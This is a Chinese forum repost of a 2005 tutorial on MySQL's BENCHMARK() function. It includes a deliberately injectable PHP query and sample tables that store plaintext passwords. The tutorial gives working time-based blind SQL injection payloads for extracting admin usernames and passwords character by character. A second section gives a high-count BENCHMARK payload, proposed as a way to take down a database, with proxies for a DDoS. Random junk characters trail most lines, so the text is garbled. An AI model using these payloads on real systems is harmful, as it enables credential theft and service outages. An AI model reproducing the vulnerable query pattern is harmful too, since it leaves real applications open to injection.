找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2138|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 7 r- ?% D, v' ~3 [; k9 B$ i6 M. L
本文作者:SuperHei/ _* N9 ^5 t- _8 r* ]; c5 t% J: P
文章性质:原创
. N% J/ _) P2 ~2 m8 Z) m; J发布日期:2005-01-02% {" b: l; I5 z5 L) Z$ h5 ~. m, h
完成日期:2004-07-09 5 A7 R8 l7 A, c- m; m2 f' T  @8 ~  @
第一部4 \+ y. Y- F' y' a1 k6 E

2 F' m* c- o; y7 i0 u& T1 e利用时间推延进行注射---BENCHMARK函数在注射中的利用
  S" t2 R  M0 Q& Q+ D" H: c# D. }$ O0 n4 j( C
一.前言/思路4 D* u/ p# v8 q1 S0 q3 b* t
9 ^1 G" X9 W* |) {% ]% ^
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。; X) j1 ]$ b9 }- y4 `7 P- s

3 x0 R0 B0 [! n& Z4 V  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
) j& R% L  x2 {1 e  u7 J
9 e  ^" Y$ j7 ~' ^" m. K- B二.关于BENCHMARK函数* d1 ~' C" q- i2 u
( g3 U. b9 s( M3 T% Z1 [' G# B1 d
  在MySQL参考手册里可以看到如下描叙: ) E0 i/ G% |. b, R! _

% b1 I8 Y# M* I
8 m) e5 b, e8 _0 y' r; A--------------------------------------------------------------------------------0 b' o$ W2 {- K9 j$ U: @
6 ^# h' \' B3 b0 u2 @$ \
BENCHMARK(count,expr)
% m* r; b4 n6 HBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
3 j( D# H% B* l2 h% a" x/ p$ Imysql> select BENCHMARK(1000000,encode("hello","goodbye")); ! ]  L' N% k* V3 b# s
+----------------------------------------------+
7 r$ I& S. T3 _( N) n) p! |: E. [| BENCHMARK(1000000,encode("hello","goodbye")) |
" r+ r, |3 [! s- l7 n" b+----------------------------------------------+ 7 `( ], X& z: b. Z" O: W7 `4 C
| 0 | $ ?$ v. t4 p$ C5 G9 l/ Z: X) S! S7 w- d! h
+----------------------------------------------+ 4 w/ R" {3 n9 ?. L7 e: N9 q( e
1 row in set (4.74 sec) . d- m  }  y# L: w

  D& V  y% t! F1 c2 r报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
, w+ `# q# r7 M4 i7 V6 \0 v9 i: ~* d8 L& j# r, m+ Q! m% P

9 r% l% w" j4 a--------------------------------------------------------------------------------
. g$ w+ K2 Z0 s) Y4 c& i* j% s0 }' O4 s
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 1 I2 F8 R1 y& f. Q) [' J' K$ k( |

" ]% B% [6 d2 _  i, M# n+ i1 n& g6 V+ Imysql> select md5( 'test' );
* k4 u* L) _8 P; W2 H1 v+----------------------------------+ 0 g9 u/ V8 C2 [/ _: e
| md5( 'test' ) |
. Q4 U# V  \6 i2 I+----------------------------------+
7 R, _. Z, G5 r, o' y# V- N| 098f6bcd4621d373cade4e832627b4f6 | 7 `! G2 |3 R' e# B4 Z
+----------------------------------+
' e3 r% H9 c) O% `) g1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 3 y6 N7 f7 c( e; _9 |0 u5 u+ P( Q
9 d) D' Y" G: m/ V2 L0 c2 u( X6 o$ N3 I
mysql> select benchmark( 500000, md5( 'test' ) );
3 E& ?# m: F+ }- V% J+ q7 G* X+ o+------------------------------------+
2 C2 d: H+ o, g  |, d4 ]' G. V| benchmark( 500000, md5( 'test' ) ) |
+ |1 V: I1 W. B! T& r+------------------------------------+
8 S( E4 [' w& h. G. U| 0 | - t9 R# S5 @" x
+------------------------------------+ 1 _! ]' d* ^, f7 l, ^6 V9 Z
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec. L; Y( ]) s- V) f. K- n/ ?
" r( Q, d: h8 [: U+ Y& d

' a7 w) \& U; D$ k7 ^1 K0 I  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 - s& }4 G+ K5 b' C, _0 E

6 \3 `. i% {  L0 Y- `  X0 o三.具体例子, g3 C/ u& j+ D5 ?* |, R

- Y8 W4 B! p9 o, E2 V# Z% s  首先我们看个简单的php代码:" @; U# S3 H+ D, F/ @" e+ [' ^
6 d; d" p. e+ Y, E! Y2 j; B1 L
< ?php
' B: _8 x/ j2 ^$servername = "localhost";
+ |' s0 @. n: P$ W  k$dbusername = "root";
; I/ n- R3 v( V5 U# }, C/ n$dbpassword = ""; 1 I  Z1 _: \- O4 _/ q) E) j7 |* I
$dbname = "injection"; - k  U( o5 R2 U/ X6 n
/ c, _3 @5 R, P' ]
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); " Q, |, _8 t0 |9 e; B
2 T2 E& f9 q! t9 R/ L: ?- E, n
$sql = "SELECT * FROM article WHERE articleid=$id";
/ ?6 n9 ?; w5 d! X* h) X* n$result = mysql_db_query($dbname,$sql);
2 {# Y& b3 j" _/ N+ q% |( w3 Z$row = mysql_fetch_array($result); # d% U, w( ?1 `; _0 `  ^
, @& @! ^% r$ Q) N8 |) F# [
if (!$row) / G- _* r' i& S& y3 J
{
# R* T+ ~8 F' u8 K' ?exit; - W( E" s* {  }
} % Q' N" r" q5 ~8 k, ~0 s& ]: B: e
?>; y& s9 |4 J0 \  [5 S( b
; T& F$ j0 Q0 K/ c3 ?
, ?7 l  p# l( f) M8 w3 q
  数据库injection结构和内容如下:
, w$ x$ H5 e$ q9 ]( ?) ?/ z
6 y  @# D! L! m% T$ A# 数据库 : `injection`
1 F2 I& u5 q+ f1 }# 7 x5 C& ~* \, c; m1 I' E

7 `8 Q. r$ C2 r6 X# -------------------------------------------------------- 2 {2 m: t9 B- i9 \: g: [) D& k
2 e, y% B& ?, [( u3 X4 K4 B1 v
#
% b' f9 p# G, ]9 {" R3 q# 表的结构 `article` 6 N+ y3 Y5 B4 t: m) o4 M2 E
#
2 r0 l3 Z8 {- t1 e$ I+ m; `) A" c, X9 B" T& e6 [+ r
CREATE TABLE `article` (
! @# z# D4 X8 W7 M/ I" |`articleid` int(11) NOT NULL auto_increment, " ~% U" m$ |: y* A: J5 c
`title` varchar(100) NOT NULL default '',
# C" z3 Z" ^- n`content` text NOT NULL, " Z* \5 i4 N2 N8 m! X. i3 J
PRIMARY KEY (`articleid`) " \4 i4 d, i4 K% \4 c) @" D3 N9 _, N
) TYPE=MyISAM AUTO_INCREMENT=3 ;
; Y( e$ `: e* N& e
/ o  e0 b& t$ J4 k# ) s0 t: Z  M8 {+ Q) ^
# 导出表中的数据 `article`
' t/ X. W; }& i& k' {3 r. _) q6 U) o# 3 C. F% I( o7 ?8 Z, H+ T5 \9 U

: Q  X4 v) Z' {4 T  a* x- `INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); * S# M* e2 Q6 q' T* L. h) L5 h
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 9 y% x; |; {. {
3 ^( t2 v. K$ I9 E% `
# -------------------------------------------------------- + Q5 R9 F' k$ f6 |
' Q. B, Y1 P3 K* V% H) k
# & i% m" o2 m4 b0 T, c  M
# 表的结构 `user`
, P  }5 A! z& c, g#
- t9 T" e) m2 n5 D  G0 L
4 r8 G: [( o: a) x2 T2 T. Q- b3 [CREATE TABLE `user` (
! b0 U# {8 Q+ Q5 l`userid` int(11) NOT NULL auto_increment,
6 t+ k4 {% _1 ]9 S' J) v) k) {`username` varchar(20) NOT NULL default '', ( ~2 P. }1 o* d, g
`password` varchar(20) NOT NULL default '', ' _8 b+ u6 {7 h
PRIMARY KEY (`userid`)
" z0 b/ E' C+ {! u1 W8 F. p# n) TYPE=MyISAM AUTO_INCREMENT=3 ; ! y3 b+ F4 U' v

! z0 N: i) A- ?; G#
1 a# ^( N; v" Q# 导出表中的数据 `user` 4 O& N5 J; A" g! L
# # x7 O9 M, z! `, U" l/ z9 t

7 q& O' N. v6 h9 RINSERT INTO `user` VALUES (1, 'angel', 'mypass');
' q* p3 R5 W0 gINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');1 s! k. e/ Z5 }9 P& w) v$ i# d

) g' _# a2 _4 u: n/ L6 A& A' W5 l; Y; U  a6 [3 r7 G4 z
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:& Q0 f3 Z% s! x' s

  _6 L0 Z1 c9 p0 a" ~8 [id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*' d6 J/ L- i% \- |. [  F3 }9 C

! O4 O- f4 w0 G! n: |1 U6 W) L) z* p1 n) F9 n
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:) H, n6 J: ?+ w7 G- v4 H
& L9 ]" T4 R4 E* T+ V  H+ n
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
' I0 m5 |! E7 S  v 2 b8 H1 I3 a8 v: T

, a* }) B* W/ |, t7 P' y( `  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 8 D, s7 h. F: R) l  V$ H  s8 C7 G

. Q+ u% R9 G4 P- D4 p  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 / _5 Z3 U) n) Z7 p
. {0 H' |5 C! [
第二部5 O( C/ H# j2 r, \* p* d" b. \
1 x! o0 G6 t7 s4 A0 `8 Z
利用BENCHMARK函数进行ddos攻击
( t. K: \" X1 ?
4 m$ h- e5 k- P7 Z  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:6 F' n2 e6 W0 G5 E

+ M2 c5 r: j$ r% M, Fhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))1 q, z9 r' I- S: |4 ^/ J

0 N: M! M( e) V# H' Q
4 G' v  f6 m* S- ]3 i小结! f8 k! h5 v! `. e& D
7 _1 |3 j0 R9 t# Q9 v1 V+ t4 v
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
% `3 e' b/ w) Z; W0 c* ^
: e; u' Y; D5 C' H- I* o' Z* N  
" D- x8 g( G1 n: R% |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表